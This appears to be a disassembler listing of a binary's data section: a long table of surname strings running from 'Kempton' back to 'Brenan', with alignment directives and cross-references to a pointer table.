aKempton db 'Kempton',0 ; DATA XREF: ___:0042E238o
aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E234o
align 4
aKelker db 'Kelker',0 ; DATA XREF: ___:0042E230o
align 4
aKeith db 'Keith',0 ; DATA XREF: ___:0042E22Co
align 4
aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E228o
aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E224o
align 4
aKee db 'Kee',0 ; DATA XREF: ___:0042E220o
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E21Co
aKasten db 'Kasten',0 ; DATA XREF: ___:0042E218o
align 10h
aKassower db 'Kassower',0 ; DATA XREF: ___:0042E214o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E210o
align 4
aKangis db 'Kangis',0 ; DATA XREF: ___:0042E20Co
align 10h
aKamel db 'Kamel',0 ; DATA XREF: ___:0042E208o
align 4
aKalman db 'Kalman',0 ; DATA XREF: ___:0042E204o
align 10h
aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E200o
align 4
aKalil db 'Kalil',0 ; DATA XREF: ___:0042E1FCo
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E1F8o
align 10h
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E1F4o
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E1F0o
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1ECo
align 10h
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1E8o
aJulious db 'Julious',0 ; DATA XREF: ___:0042E1E4o
aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1E0o
aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1DCo
align 10h
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1D8o
align 4
aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1D4o
align 4
aJohns db 'Johns',0 ; DATA XREF: ___:0042E1D0o
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1CCo
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1C8o
aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1C4o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1C0o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1BCo
aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1B8o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1B4o
aJay db 'Jay',0 ; DATA XREF: ___:0042E1B0o
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1ACo
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1A8o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1A4o
align 4
aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1A0o
align 4
aJain db 'Jain',0 ; DATA XREF: ___:0042E19Co
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E198o
align 4
aJagger db 'Jagger',0 ; DATA XREF: ___:0042E194o
align 4
aJagers db 'Jagers',0 ; DATA XREF: ___:0042E190o
align 4
aJackson db 'Jackson',0 ; DATA XREF: ___:0042E18Co
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E188o
aIyer db 'Iyer',0 ; DATA XREF: ___:0042E184o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E180o
align 10h
aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E17Co
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E178o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E174o
align 4
aInniss db 'Inniss',0 ; DATA XREF: ___:0042E170o
align 4
aInamura db 'Inamura',0 ; DATA XREF: ___:0042E16Co
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E168o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E164o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E160o
align 10h
aHyde db 'Hyde',0 ; DATA XREF: ___:0042E15Co
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E158o
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E154o
align 10h
aHupp db 'Hupp',0 ; DATA XREF: ___:0042E150o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E14Co
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E148o
align 10h
aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E144o
align 4
aHuey db 'Huey',0 ; DATA XREF: ___:0042E140o
align 4
aHoy db 'Hoy',0 ; DATA XREF: ___:0042E13Co
aHoward db 'Howard',0 ; DATA XREF: ___:0042E138o
align 10h
aHottle db 'Hottle',0 ; DATA XREF: ___:0042E134o
align 4
aHostage db 'Hostage',0 ; DATA XREF: ___:0042E130o
aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E12Co
aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E128o
aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E124o
aHooker db 'Hooker',0 ; DATA XREF: ___:0042E120o
align 10h
aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E11Co
aHolway db 'Holway',0 ; DATA XREF: ___:0042E118o
align 10h
aHolter db 'Holter',0 ; DATA XREF: ___:0042E114o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E110o
aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E10Co
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E108o
align 10h
aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E104o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E100o
aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E0FCo
align 4
aHock db 'Hock',0 ; DATA XREF: ___:0042E0F8o
align 4
aHoang db 'Hoang',0 ; DATA XREF: ___:0042E0F4o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E0F0o
align 4
aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0ECo
align 10h
aHind db 'Hind',0 ; DATA XREF: ___:0042E0E8o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0E4o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0E0o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0DCo
aHester db 'Hester',0 ; DATA XREF: ___:0042E0D8o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0D4o
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0D0o
align 10h
aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0CCo
align 4
aHenery db 'Henery',0 ; DATA XREF: ___:0042E0C8o
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0C4o
align 10h
aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0C0o
aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0BCo
align 4
aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0B8o
aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0B4o
aHeft db 'Heft',0 ; DATA XREF: ___:0042E0B0o
align 4
aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0ACo
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0A8o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0A4o
align 4
aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0A0o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E09Co
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E098o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E094o
aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E090o
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E08Co
align 4
aHartman db 'Hartman',0 ; DATA XREF: ___:0042E088o
aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E084o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E080o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E07Co
align 10h
aHarding db 'Harding',0 ; DATA XREF: ___:0042E078o
aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E074o
aHand db 'Hand',0 ; DATA XREF: ___:0042E070o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E06Co
align 4
aHamer db 'Hamer',0 ; DATA XREF: ___:0042E068o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E064o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E060o
aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E05Co
align 10h
aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E058o
aHaley db 'Haley',0 ; DATA XREF: ___:0042E054o
align 10h
aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E050o
align 4
aHackman db 'Hackman',0 ; DATA XREF: ___:0042E04Co
aHaar db 'Haar',0 ; DATA XREF: ___:0042E048o
align 4
aHa db 'Ha',0 ; DATA XREF: ___:0042E044o
align 10h
aGuo db 'Guo',0 ; DATA XREF: ___:0042E040o
aGunn db 'Gunn',0 ; DATA XREF: ___:0042E03Co
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E038o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E034o
align 10h
aGruner db 'Gruner',0 ; DATA XREF: ___:0042E030o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E02Co
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E028o
align 10h
aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E024o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E020o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E01Co
align 4
aGravell db 'Gravell',0 ; DATA XREF: ___:0042E018o
aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E014o
align 4
aGoody db 'Goody',0 ; DATA XREF: ___:0042E010o
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E00Co
align 4
aGood db 'Good',0 ; DATA XREF: ___:0042E008o
align 10h
aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E004o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E000o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DFFCo
aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DFF8o
align 4
aGleason db 'Gleason',0 ; DATA XREF: ___:0042DFF4o
aGist db 'Gist',0 ; DATA XREF: ___:0042DFF0o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFECo
align 4
aGill db 'Gill',0 ; DATA XREF: ___:0042DFE8o
align 4
aGili db 'Gili',0 ; DATA XREF: ___:0042DFE4o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFE0o
aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFDCo
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFD8o
aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFD4o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFD0o
aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFCCo
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFC8o
align 10h
aGeller db 'Geller',0 ; DATA XREF: ___:0042DFC4o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFC0o
aGarman db 'Garman',0 ; DATA XREF: ___:0042DFBCo
align 4
aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFB8o
align 4
aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFB4o
aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFB0o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFACo
align 10h
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFA8o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFA4o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFA0o
align 10h
aFurth db 'Furth',0 ; DATA XREF: ___:0042DF9Co
align 4
aFuller db 'Fuller',0 ; DATA XREF: ___:0042DF98o
align 10h
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DF94o
align 4
aFrye db 'Frye',0 ; DATA XREF: ___:0042DF90o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF8Co
align 10h
aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF88o
aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF84o
aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF80o
align 4
aFried db 'Fried',0 ; DATA XREF: ___:0042DF7Co
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF78o
align 10h
aFreid db 'Freid',0 ; DATA XREF: ___:0042DF74o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF70o
align 4
aFranz db 'Franz',0 ; DATA XREF: ___:0042DF6Co
align 10h
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF68o
align 10h
aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF64o
align 4
aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF60o
align 4
aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF5Co
align 4
aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF58o
aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF54o
align 4
aForester db 'Forester',0 ; DATA XREF: ___:0042DF50o
align 4
aFolks db 'Folks',0 ; DATA XREF: ___:0042DF4Co
align 10h
aFlores db 'Flores',0 ; DATA XREF: ___:0042DF48o
align 4
aFlier db 'Flier',0 ; DATA XREF: ___:0042DF44o
align 10h
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF40o
aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF3Co
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF38o
aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF34o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF30o
aFink db 'Fink',0 ; DATA XREF: ___:0042DF2Co
align 4
aField db 'Field',0 ; DATA XREF: ___:0042DF28o
align 4
aFido db 'Fido',0 ; DATA XREF: ___:0042DF24o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF20o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF1Co
align 10h
aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF18o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF14o
align 4
aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF10o
aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF0Co
aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF08o
align 10h
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF04o
align 4
aFates db 'Fates',0 ; DATA XREF: ___:0042DF00o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DEFCo
align 4
aFarren db 'Farren',0 ; DATA XREF: ___:0042DEF8o
align 4
aFarone db 'Farone',0 ; DATA XREF: ___:0042DEF4o
align 4
aFaris db 'Faris',0 ; DATA XREF: ___:0042DEF0o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEECo
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEE8o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEE4o
align 4
aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEE0o
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEDCo
aEverett db 'Everett',0 ; DATA XREF: ___:0042DED8o
aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DED4o
align 4
aEtter db 'Etter',0 ; DATA XREF: ___:0042DED0o
align 10h
aEstes db 'Estes',0 ; DATA XREF: ___:0042DECCo
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DEC8o
align 4
aErez db 'Erez',0 ; DATA XREF: ___:0042DEC4o
align 4
aErdos db 'Erdos',0 ; DATA XREF: ___:0042DEC0o
align 4
aErdman db 'Erdman',0 ; DATA XREF: ___:0042DEBCo
align 4
aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEB8o
align 4
aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEB4o
aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEB0o
aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEACo
aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEA8o
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEA4o
align 10h
aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEA0o
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DE9Co
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DE98o
aEdward db 'Edward',0 ; DATA XREF: ___:0042DE94o
align 4
aEdner db 'Edner',0 ; DATA XREF: ___:0042DE90o
align 4
aEdley db 'Edley',0 ; DATA XREF: ___:0042DE8Co
align 4
aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE88o
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE84o
aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE80o
aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE7Co
align 4
aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE78o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE74o
aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE70o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE6Co
aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE68o
aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE64o
align 4
aDoug db 'Doug',0 ; DATA XREF: ___:0042DE60o
align 4
aDoty db 'Doty',0 ; DATA XREF: ___:0042DE5Co
align 4
aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE58o
align 4
aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE54o
align 4
aDore db 'Dore',0 ; DATA XREF: ___:0042DE50o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE4Co
align 4
aDonner db 'Donner',0 ; DATA XREF: ___:0042DE48o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE44o
aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE40o
aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE3Co
aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE38o
aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE34o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE30o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE2Co
align 10h
aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE28o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE24o
align 4
aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE20o
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE1Co
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE18o
aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE14o
align 4
aDenison db 'Denison',0 ; DATA XREF: ___:0042DE10o
aDenham db 'Denham',0 ; DATA XREF: ___:0042DE0Co
align 4
aDenault db 'Denault',0 ; DATA XREF: ___:0042DE08o
aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE04o
align 4
aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE00o
align 4
aDeming db 'Deming',0 ; DATA XREF: ___:0042DDFCo
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o
align 4
aDelger db 'Delger',0 ; DATA XREF: ___:0042DDF4o
align 10h
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DDF0o
align 10h
aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDECo
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDE8o
align 4
aDees db 'Dees',0 ; DATA XREF: ___:0042DDE4o
align 10h
aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDE0o
aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDDCo
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o
align 10h
aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDD4o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDD0o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDCCo
aDavid db 'David',0 ; DATA XREF: ___:0042DDC8o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDC4o
aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDC0o
align 4
aDas db 'Das',0 ; DATA XREF: ___:0042DDBCo
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o
aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDB4o
align 4
aDante db 'Dante',0 ; DATA XREF: ___:0042DDB0o
align 4
aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDACo
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDA8o
aDaly db 'Daly',0 ; DATA XREF: ___:0042DDA4o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDA0o
align 10h
aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DD9Co
aCyders db 'Cyders',0 ; DATA XREF: ___:0042DD98o
align 10h
aCvek db 'Cvek',0 ; DATA XREF: ___:0042DD94o
align 4
aCutler db 'Cutler',0 ; DATA XREF: ___:0042DD90o
align 10h
aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD8Co
aCui db 'Cui',0 ; DATA XREF: ___:0042DD88o
aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD84o
aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD80o
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD7Co
aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD78o
aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD74o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD70o
aCounter db 'Counter',0 ; DATA XREF: ___:0042DD6Co
aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD68o
align 4
aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD64o
aCorey db 'Corey',0 ; DATA XREF: ___:0042DD60o
align 4
aConnors db 'Connors',0 ; DATA XREF: ___:0042DD5Co
aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD58o
align 4
aConcino db 'Concino',0 ; DATA XREF: ___:0042DD54o
aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD50o
align 4
aCompton db 'Compton',0 ; DATA XREF: ___:0042DD48o
; ___:0042DD4Co
aCollis db 'Collis',0 ; DATA XREF: ___:0042DD44o
align 4
aCollard db 'Collard',0 ; DATA XREF: ___:0042DD40o
aColella db 'Colella',0 ; DATA XREF: ___:0042DD3Co
aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD38o
aCoito db 'Coito',0 ; DATA XREF: ___:0042DD34o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD30o
aClow db 'Clow',0 ; DATA XREF: ___:0042DD2Co
align 4
aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD28o
aClement db 'Clement',0 ; DATA XREF: ___:0042DD24o
aClark db 'Clark',0 ; DATA XREF: ___:0042DD20o
align 4
aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD1Co
align 4
aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD18o
aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD14o
align 10h
aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD10o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD0Co
align 4
aChurch db 'Church',0 ; DATA XREF: ___:0042DD08o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD04o
align 4
aChu db 'Chu',0 ; DATA XREF: ___:0042DD00o
aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DCFCo
aChristie db 'Christie',0 ; DATA XREF: ___:0042DCF8o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DCF4o
align 10h
aChristian db 'Christian',0 ; DATA XREF: ___:0042DCF0o
align 4
aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCECo
aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCE8o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCE4o
aChilds db 'Childs',0 ; DATA XREF: ___:0042DCE0o
align 4
aChildress db 'Childress',0 ; DATA XREF: ___:0042DCDCo
align 10h
aChien db 'Chien',0 ; DATA XREF: ___:0042DCD8o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCD4o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCD0o
align 10h
aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCCCo
align 4
aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCC8o
align 10h
aCharles db 'Charles',0 ; DATA XREF: ___:0042DCC4o
aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCC0o
aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCBCo
aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCB8o
align 4
aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCB4o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCB0o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCACo
align 4
aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCA8o
align 4
aCase db 'Case',0 ; DATA XREF: ___:0042DCA4o
align 4
aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCA0o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DC9Co
align 4
aCarper db 'Carper',0 ; DATA XREF: ___:0042DC98o
align 10h
aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DC94o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DC90o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC8Co
aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC88o
align 4
aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC84o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC80o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC7Co
aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC78o
aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC74o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC70o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC6Co
align 4
aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC68o
align 10h
aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC64o
aCanley db 'Canley',0 ; DATA XREF: ___:0042DC60o
align 10h
aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC5Co
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC58o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC54o
align 10h
aCage db 'Cage',0 ; DATA XREF: ___:0042DC50o
align 4
aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC4Co
align 10h
aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC48o
align 4
aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC44o
align 10h
aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC40o
aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC3Co
align 4
aBurke db 'Burke',0 ; DATA XREF: ___:0042DC38o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC34o
align 4
aBurden db 'Burden',0 ; DATA XREF: ___:0042DC30o
align 4
aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC2Co
align 4
aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC28o
aBudding db 'Budding',0 ; DATA XREF: ___:0042DC24o
aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC20o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC1Co
aBrook db 'Brook',0 ; DATA XREF: ___:0042DC18o
align 4
aBroca db 'Broca',0 ; DATA XREF: ___:0042DC14o
align 4
aBritz db 'Britz',0 ; DATA XREF: ___:0042DC10o
align 4
aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC0Co
aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC08o
aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC04o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DBFCo
; ___:0042DC00o
align 10h
aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DBF8o
aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DBF4o
align 10h
